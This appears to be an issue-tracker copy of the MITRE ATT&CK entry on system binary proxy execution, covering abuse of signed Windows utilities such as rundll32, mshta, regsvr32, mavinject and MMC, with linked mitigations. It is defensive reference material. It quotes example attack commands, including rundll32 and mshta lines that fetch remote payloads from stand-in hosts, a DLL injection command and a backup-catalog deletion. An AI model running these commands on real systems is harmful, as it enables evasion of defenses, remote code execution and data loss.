Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)

Subissues

Issuelinks
Rundll32 Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}). Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion) Threat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll) Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1). Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)
Mavinject Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject) Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. In addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)
InstallUtil Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe. InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)
Msiexec Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft. Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)
CMSTP Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft. CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)
Control Panel Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) Malicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists. Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)
Electron Applications Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams.(Citation: Electron 2) Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS.(Citation: Electron 3) The Chromium engine is used to display web content and Node.js runs the backend code.(Citation: Electron 1) Due to the functional mechanics of Electron (such as allowing apps to run arbitrary commands), adversaries may also be able to perform malicious functions in the background potentially disguised as legitimate tools within the framework.(Citation: Electron 1) For example, the abuse of `teams.exe` and `chrome.exe` may allow adversaries to execute malicious commands as child processes of the legitimate application (e.g., `chrome.exe --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c calc.exe`).(Citation: Electron 6-8) Adversaries may also execute malicious content by planting malicious [JavaScript](https://attack.mitre.org/techniques/T1059/007) within Electron applications.(Citation: Electron Security)
Odbcconf Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft. Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)
Verclsid Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe) Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub)
Mshta Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")")) They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
Compiled HTML File Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)
Regsvr32 Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32) Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov) Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)
Regsvcs/Regasm Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm) Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)
MMC Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview) For example, mmc C:\Users\foo\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window. Adversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal) Adversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\path\to\test.msc.(Citation: abusing_com_reg)

Linked Issues

Issuelinks
is related to Techniques
is blocked by Exploit Protection
is blocked by Filter Network Traffic
is blocked by Privileged Account Management
is blocked by Execution Prevention
is blocked by Disable or Remove Feature or Program
is blocked by Restrict Web-Based Content
is blocked by Detection of Proxy Execution via Trusted Signed Binaries Across Platforms
is blocked by Asset Inventories
is blocked by Access Restriction For Change
is blocked by Security, Compliance & Resilience Controls Oversight
is blocked by Secure Baseline Configurations
is blocked by Least Functionality
is blocked by User-Installed Software
is blocked by Continuous Monitoring
is blocked by Malicious Code Protection (Anti-Malware)
is blocked by Endpoint File Integrity Monitoring (FIM)
is blocked by Separation of Duties (SoD)
is blocked by Identification & Authentication for Organizational Users
is blocked by Account Management
is blocked by Access Enforcement
is blocked by Least Privilege
is blocked by Boundary Protection
is blocked by Data Flow Enforcement – Access Control Lists (ACLs)
is blocked by Memory Protection
is blocked by Input Data Validation
is blocked by Vulnerability Scanning
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